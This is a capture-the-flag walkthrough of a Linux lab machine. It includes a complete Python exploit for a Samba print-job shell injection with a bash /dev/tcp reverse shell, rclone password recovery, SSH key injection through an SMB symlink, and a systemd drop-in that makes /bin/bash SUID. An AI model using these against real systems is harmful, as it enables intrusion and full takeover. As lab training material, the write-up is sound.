Difficulty: Medium
OS: Linux
Reconnaissance
Nmap
nmap -sC-sV-A <MACHINE-IP> -oA abducted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Three open ports — SSH and Samba (SMB). No web server. The NetBIOS name is ABDUCTED and the server string is Hartley Group Document Services.
/etc/hosts
echo"<MACHINE-IP> abducted.htb">> /etc/hosts
SMB Enumeration
Listing shares anonymously:
smbclient -L //<MACHINE-IP> -NSharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
Three shares exposed. Attempting anonymous access:
smbclient //<MACHINE-IP>/projects -N# NT_STATUS_ACCESS_DENIED
smbclient //<MACHINE-IP>/transfer -N# NT_STATUS_ACCESS_DENIEDBoth disk shares require authentication. HP-Reception is a printer share.
RPC Enumeration
rpcclient -U""-N <MACHINE-IP>
rpcclient $> enumdomusers
user:[scott] rid:[0x3e8]
rpcclient $> querydispinfo
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott Name: Scott Mercer
rpcclient $> netshareenum
netname: HP-Reception
path: C:\var\spool\samba
netname: projects
path: C:\srv\projects
netname: transfer
path: C:\srv\transfer
rpcclient $> enumprinters
name:[\\<MACHINE-IP>\] description:[\\<MACHINE-IP>\,,Reception printer]
comment:[Reception printer]
One user identified: scott. The printer share path maps to /var/spool/samba on the host.
SMB Protocol Versions
nmap --script smb-os-discovery,smb-protocols,smb2-security-mode -p445 <MACHINE-IP>
| smb-protocols:| dialects:|2.0.2| 2.1| 3.0| 3.0.2|_ 3.1.1Samba is running with the printer share publicly accessible as guest. Noting the HP-Reception printer combined with recent Samba CVEs, this is the attack surface.
Initial Foothold — CVE-2026-4480 (Samba %J Print Injection)
A critical vulnerability in Samba's printing subsystem was disclosed in 2026. Samba passes the client-controlled print job description string to the configured print command via the %J substitution character without escaping shell metacharacters. An unauthenticated attacker can submit a crafted print job whose description contains shell commands, resulting in remote code execution.
Reference: https://www.samba.org/samba/security/CVE-2026-4480.html
The exploit works by connecting to the spoolss named pipe, opening the printer handle, then submitting a StartDocPrinter call with a job name of |sh. The actual shell payload is sent as the print data — Samba's %J substitution injects the job name into the print command, causing the shell to execute it.
Exploit Script (cve-2026-4480.py)
#!/usr/bin/env python3
"""
CVE-2026-4480 — Samba Print Job Description Shell Injection
Unauthenticated RCE via Print Spooler (%J substitution)
Dependencies: apt install python3-samba
"""importargparseimportsysBANNER=r"""
╔═══════════════════════════════════════════════════════════╗
║ ██████╗ ██████╗ ██╗███╗ ██╗████████╗ ║
║ ██╔══██╗██╔══██╗██║████╗ ██║╚══██╔══╝ ║
║ ██████╔╝██████╔╝██║██╔██╗ ██║ ██║ ║
║ ██╔═══╝ ██╔══██╗██║██║╚██╗██║ ██║ ║
║ ██║ ██║ ██║██║██║ ╚████║ ██║ ║
║ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═╝ ║
║ CVE-2026-4480 Samba %J Print Injection ║
║ Unauthenticated RCE via Print Spooler ║
╚═══════════════════════════════════════════════════════════╝
"""defparse_args():parser=argparse.ArgumentParser(description='CVE-2026-4480 — Samba print job %J shell injection')parser.add_argument('-r','--rhost',required=True,help='Target IP or hostname')parser.add_argument('-l','--lhost',default=None,help='Attacker IP (for reverse shell)')parser.add_argument('-p','--lport',default=None,type=int,help='Attacker port (for reverse shell)')parser.add_argument('-c','--command',default=None,help='Custom command instead of reverse shell')parser.add_argument('--printer',default='HP-Reception',help='Printer share name (default: HP-Reception)')parser.add_argument('--username',default='',help='SMB username (default: anonymous)')parser.add_argument('--password',default='',help='SMB password (default: empty)')returnparser.parse_args()defbuild_payload(args):ifargs.command:print(f'[*] Mode : custom command')print(f'[*] Command : {args.command}')return (args.command+'\n').encode()elifargs.lhostandargs.lport:cmd=f"setsid bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1' >/dev/null 2>&1 &"print(f'[*] Mode : reverse shell')print(f'[*] LHOST : {args.lhost}')print(f'[*] LPORT : {args.lport}')return (cmd+'\n').encode()else:print('[!] Provide either -c <command> or both -l <lhost> and -p <lport>')sys.exit(1)defexploit(args,payload):try:fromsamba.dcerpcimportspoolssfromsamba.paramimportLoadParmfromsamba.credentialsimportCredentialsexceptImportError:print('[!] Missing dependency: python3-samba')print(' apt install python3-samba')sys.exit(1)lp=LoadParm()lp.load_default()creds=Credentials()creds.guess(lp)ifargs.username:creds.set_username(args.username)creds.set_password(args.password)else:creds.set_anonymous()printer_path=f'\\\\{args.rhost}\\{args.printer}'print(f'\n[*] Connecting to spoolss pipe on {args.rhost} ...')iface=spoolss.spoolss(f'ncacn_np:{args.rhost}[\\pipe\\spoolss]',lp,creds)print(f'[*] Opening printer handle: {printer_path}')h=iface.OpenPrinter(printer_path,'',spoolss.DevmodeContainer(),0x00000008)print(f"[*] Submitting print job with job name '|sh' (%J injection) ...")i1=spoolss.DocumentInfo1()i1.document_name='|sh'i1.output_file=Nonei1.datatype='RAW'ctr=spoolss.DocumentInfoCtr()ctr.level=1ctr.info=i1iface.StartDocPrinter(h,ctr)iface.StartPagePrinter(h)iface.WritePrinter(h,payload,len(payload))iface.EndPagePrinter(h)iface.EndDocPrinter(h)iface.ClosePrinter(h)print('[+] Job submitted successfully — check your listener!')defmain():print(BANNER)args=parse_args()print(f'[*] Target : {args.rhost}')print(f'[*] Printer : {args.printer}')print(f'[*] Auth : {args.usernameifargs.usernameelse"anonymous (guest)"}')payload=build_payload(args)exploit(args,payload)if__name__=='__main__':main()Setting up a listener:
nc -lvnp 4444
Running the exploit:
python3 cve-2026-4480.py -r <MACHINE-IP> -l <ATTACKER-IP> -p 4444
[*] Target : <MACHINE-IP>[*] LHOST : <ATTACKER-IP>[*] LPORT : 4444
[*] Printer : HP-Reception
[*] Payload : bash reverse shell
[*] Connecting to spoolss pipe...
[*] Opening printer handle...
[*] Starting document with |sh job name...
[+] Job submitted — check your listener!
A reverse shell connects as nobody — the Samba guest account.
(remote) nobody@abducted:/$iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Post-Exploitation as nobody — rclone Credentials
Searching for configuration files outside standard system paths:
find / -type f -name"*.conf" 2>/dev/null | grep-Ev"^/usr/|^/etc/"/opt/offsite-backup/rclone.conf
Reading it:
cat /opt/offsite-backup/rclone.conf
[offsite]type=sftphost=backup.hartley-group.internaluser=svc-backuppass=HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNwshell_type=unixrclone stores passwords in an obfuscated (not encrypted) format. The rclone reveal command decodes it:
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ
Plaintext password recovered: iXzvcib3SrpZ
Lateral Movement — SSH as scott (Password Reuse)
With a password in hand and only two system users (scott and marcus), testing password reuse against SSH:
ssh scott@abducted.htb
# Password: iXzvcib3SrpZscott@abducted:~$iduid=1000(scott) gid=1001(scott) groups=1001(scott)
Password reuse succeeded — svc-backup's rclone password was reused for scott's SSH account.
User Flag
scott@abducted:~$ cat user.txt
HTB{REDACTED}
Enumeration as scott
Checking sudo:
sudo-l# Sorry, user scott may not run sudo on abducted.No sudo. Reviewing the Samba configuration files now that a proper shell is available:
cat /etc/samba/smb.conf
[global]workgroup=WORKGROUPserverstring=Hartley Group Document Servicesnetbiosname=ABDUCTEDmaptoguest=Bad Userguestaccount=nobodysecurity=userprinting=sysvloadprinters=nodisablespoolss=nounixextensions=noallowinsecurewidelinks=yesinclude=/etc/samba/shares.confcat /etc/samba/shares.conf
[HP-Reception]comment=Reception printerpath=/var/spool/sambaprintable=yesguestok=yesprintcommand=/usr/local/bin/printaudit %J %slpqcommand=/bin/truelprmcommand=/bin/true[projects]comment=Hartley Group Project Filespath=/srv/projectsvalidusers=scottreadonly=nobrowseable=yes[transfer]comment=Staff file transferpath=/srv/transfervalidusers=scottforceuser=marcusreadonly=nowidelinks=yesbrowseable=yesTwo key observations:
- The
print commandconfirms how CVE-2026-4480 worked —%J(job name) passes unsanitised into the shell command. - The
transfershare hasforce user = marcusandwide links = yes. Any file written through it is created asmarcus. Withwide links = yes, symlinks are followed across share boundaries.
Lateral Movement — SSH Key Injection via SMB Symlink
The transfer share forces file operations to run as marcus. Using a symlink from /srv/transfer into marcus's home directory allows writing files as that user through the share.
Creating the symlink as scott (who can write to /srv/transfer):
ln-s /home/marcus /srv/transfer/marcus
Connecting to the transfer share as scott and navigating to marcus's home via the symlink:
smbclient //<MACHINE-IP>/transfer -U'scott%iXzvcib3SrpZ'smb: \>ls marcus D 0 Thu Jun 11 07:29:45 2026
smb: \>cd marcus
smb: \marcus\>ls .profile
.bash_logout
.bash_history
.bashrc
.cache
Creating .ssh directory and uploading the attacker's public key:
smb: \marcus\>mkdir .ssh
smb: \marcus\>cd .ssh
smb: \marcus\.ssh\> put /home/kali/.ssh/id_rsa.pub authorized_keys
putting file /home/kali/.ssh/id_rsa.pub as \marcus\.ssh\authorized_keys
SSH requires strict permissions on authorized_keys — the file must not be world-readable. Using smbclient's setmode to strip the read bit:
smb: \marcus\.ssh\> setmode authorized_keys a-r
Navigating back and fixing the .ssh directory permissions too:
smb: \marcus\.ssh\>cd ..
smb: \marcus\> setmode .ssh a-r+d
Connecting via SSH:
ssh -i /home/kali/.ssh/id_rsa marcus@abducted.htb
marcus@abducted:~$iduid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
marcus is a member of the operators group.
Privilege Escalation to Root — systemd Drop-in (operators group)
Finding what the operators group has write access to:
find / -group operators 2>/dev/null
/etc/systemd/system/smbd.service.d
The operators group owns the smbd.service.d drop-in directory for the Samba service. systemd service drop-ins allow adding or overriding directives in a service unit without modifying the original file. Writing a drop-in with an ExecStartPre directive causes it to run as root when the service restarts.
Creating the malicious drop-in:
cat> /etc/systemd/system/smbd.service.d/privesc.conf <<'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
Reloading the systemd daemon and restarting smbd:
systemctl daemon-reload
systemctl restart smbd
The ExecStartPre command runs as root, setting the SUID bit on /bin/bash. Spawning a root shell:
bash -pbash-5.2#whoamiroot
Root Flag
bash-5.2# cat /root/root.txt
HTB{REDACTED}
Credentials Summary
| User | Credential | Source |
|---|---|---|
| nobody (SMB) | — | CVE-2026-4480 unauthenticated RCE |
| scott (SSH) | iXzvcib3SrpZ | rclone.conf obfuscated password |
| marcus (SSH) | id_rsa | SMB symlink + wide links key injection |
| root | — | systemd drop-in ExecStartPre SUID bash |
Key Vulnerabilities
| # | Vulnerability | Impact |
|---|---|---|
| 1 | CVE-2026-4480 — Samba %J print job name shell injection | Unauthenticated RCE as nobody |
| 2 | rclone obfuscated password in world-readable config | Plaintext credential recovery |
| 3 | Password reuse across svc-backup and scott accounts | SSH access as scott |
| 4 | SMB transfer share: force user = marcus + wide links = yes | Write to marcus's home as marcus |
| 5 | operators group write access to smbd.service.d drop-in directory | Root via systemd ExecStartPre |
Attack Chain
Nmap → SMB + Printer Share (HP-Reception)
→ CVE-2026-4480 %J Print Injection → RCE as nobody
→ /opt/offsite-backup/rclone.conf → obfuscated password
→ rclone reveal → iXzvcib3SrpZ
→ SSH password reuse → scott
→ SMB shares.conf: transfer share (force user=marcus, wide links=yes)
→ ln -s /home/marcus /srv/transfer/marcus
→ smbclient → write authorized_keys as marcus
→ SSH as marcus (operators group)
→ find / -group operators → /etc/systemd/system/smbd.service.d
→ systemd drop-in ExecStartPre → chmod +s /bin/bash
→ bash -p → root



Top comments (0)